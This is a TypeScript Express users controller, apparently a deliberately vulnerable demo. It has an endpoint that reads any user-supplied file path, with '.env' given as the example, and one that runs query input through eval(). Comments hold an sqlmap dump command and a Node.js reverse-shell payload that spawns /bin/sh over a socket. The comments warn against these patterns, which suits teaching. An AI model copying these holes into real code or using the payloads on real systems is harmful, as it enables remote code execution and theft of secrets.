import express from 'express'; import fs from 'fs'; import { UsersService } from './UsersService'; import { checkPassword } from '../../utilis/hashData'; export class UsersController { constructor(private usersService: UsersService) {} // sqlmap -u "http://192.168.80.105:8080/api/users/login" --data="username=tom&password=123" --dump login = async (req: express.Request, res: express.Response) => { try{ let { username, password } = req.body; let user = await this.usersService.getUser(username); if(user.length === 0){ return res.status(400).json({ status: false, message: "Wrong username or password." }) } const isPwCorrect = await checkPassword(password, user[0].password) if(!isPwCorrect){ return res.status(400).json({ status: false, message: "Wrong username or password." }) } return res.status(200).json({ status: true, data: user }) } catch(err:any){ return res.status(500).json({ status: false }) } }; reciveFiles = async (req: express.Request, res: express.Response) => { try{ const requirePath = String(req.query.path) || ""; // http://localhost:8080/api/users/uploads?path=.env // Never do this or Trust the user input const data = fs.readFileSync(requirePath, { encoding:'utf8', flag:'r' }) return res.status(200).json({ status: true, data }) } catch(err:any){ return res.status(200).json({ status: false }) } }; reciveCode = async (req: express.Request, res: express.Response) => { try{ const runCode = String(req.query.code) || ""; // https://www.revshells.com/ // https://medium.com/dont-code-me-on-that/bunch-of-shells-nodejs-cdd6eb740f73 // http://localhost:8080/api/users/reciveCode?code=(function(){ var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(8081, 'localhost', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})(); // DANGEROUS! Never do this or Trust the user input with `eval` const data = eval(runCode) console.log(data); return res.status(200).json({ status: true }) } catch(err:any){ return res.status(200).json({ status: false }) } }; }